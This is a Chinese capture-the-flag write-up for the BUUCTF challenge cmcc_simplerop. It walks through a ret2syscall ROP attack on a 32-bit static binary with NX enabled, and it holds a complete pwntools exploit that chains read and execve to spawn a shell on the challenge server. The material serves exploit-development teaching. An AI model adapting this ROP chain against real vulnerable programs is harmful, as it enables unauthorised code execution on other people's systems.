当前位置: 首页 > news >正文

ROP链-BUUCTF-cmcc_simplerop(ret2syscall)

32 位程序,开启 NX 保护 

ida 反编译看 main 函数,很明显存在溢出

先测一下偏移吧

cyclic -l 0x61616169

拿到:

offset = 32

看这样子这道题还是要打 ret2syscall

 按照常规思路找一下我们需要的 gadgets 的地址:

# ROPgadget --binary simplerop  --only "pop|ret" | grep "ebx"|grep "ecx"|grep "edx"
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret# ROPgadget --binary simplerop  --only "pop|ret" | grep "pop eax"
0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bae06 : pop eax ; ret
0x08071e3a : pop eax ; ret 0x80e
0x0809da89 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret# ROPgadget --binary simplerop  --string "/bin/sh"
Strings information
============================================================# ROPgadget --binary simplerop  --only "int" | grep "0x80"
0x080493e1 : int 0x80

情况都差不多,还是没有 /bin/sh 字符串  

先记录已有的地址:

pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1

但是这里还有一个问题,程序没有类似于 pop [ecx] 这样的指令

我们怎么写入 /bin/sh 呢?

我们先找可以写入的段的地址:

随便用一个都可以:

bss_addr = 0x80eb000

然后,我们需要利用 read 函数,这里它自带了 read 函数,如果程序没有自带 read 函数,我们还可以通过系统调用 read,参考我前面的文章:

PWN基础-ROP技术-ret2syscall突破NX保护-CSDN博客https://myon6.blog.csdn.net/article/details/147772723?spm=1001.2014.3001.5502利用思路类似,建议先看完我上面的这篇博客,我这里不再过多叙述。

read 函数地址:

read_addr = 0x0806CD50

当然这个地址我们也可以通过符号表来找,因为这里的程序是静态链接的 ELF 文件,所有不能通过 plt 或者 got 表,因为压根就不存在。

直接写 exp:

溢出后先返回到 read 函数的地址

但是 read 函数执行后,它的三个参数还在栈顶上

我们需要连续三次 pop 弹出栈顶的内容

这样后面才能正常的 ret2syscall 传参,从而系统调用 execve

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./simplerop')
io = remote('node5.buuoj.cn',27761)
offset = 32
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1
bss_addr = 0x80eb000
read_addr = 0x0806CD50
payload = cyclic(offset)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x20)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有任何问题 

拿到 flag:flag{05014413-8009-471b-bf45-6df3337afd49}

相关文章:

  • vue v-html无法解析<
  • Linux网络编程day7 线程池and UDP
  • 只出现一次的数字(暴力、哈希查重、异或运算)
  • 交流中的收获-250508
  • 云手机虚拟地址技术的运营场景
  • FreeRTOS如何检测内存泄漏
  • ConcurrentHashMap解析
  • Java高频面试之并发编程-14
  • 设备管理系统深度测评:如何用 AI 知识库实现故障智能诊断?
  • 沃伦森电容器支路阻抗特性监控系统 电容器组智能健康管理专家
  • 模拟内存管理
  • 工程管理系统简介 工程管理系统源码 java工程管理系统 工程管理系统功能设计 从架构到实操
  • 若依框架Ruoyi-vue整合图表Echarts中国地图标注动态数据
  • TCP/IP和OSI对比
  • 果汁厂通信革新利器:Ethernet/IP转CANopen协议网关
  • 网盘解析工具更新,支持UC网盘!!
  • 从艾米・阿尔文看 CTO 的多面特质与成长路径
  • 使用DEEPSEEK快速修改QT创建的GUI
  • LLM 论文精读(三)Demystifying Long Chain-of-Thought Reasoning in LLMs
  • 深度学习笔记41_调用Gensim库训练Word2Vec模型
  • 重视体重管理,筑牢健康基石
  • 印巴冲突升级,巴基斯坦股市重挫7.29%,创5年来最大单日跌幅
  • “20后”比“60后”更容易遭遇极端气候事件
  • 司法部:加快研究制定行政执法监督条例,建立完善涉企行政执法监督长效机制
  • 陕西澄城打造“中国樱桃第一县”:从黄土高原走向海外,年产值超30亿
  • A股26家游戏企业去年营收近1900亿元:过半净利下滑,出海成为主流选择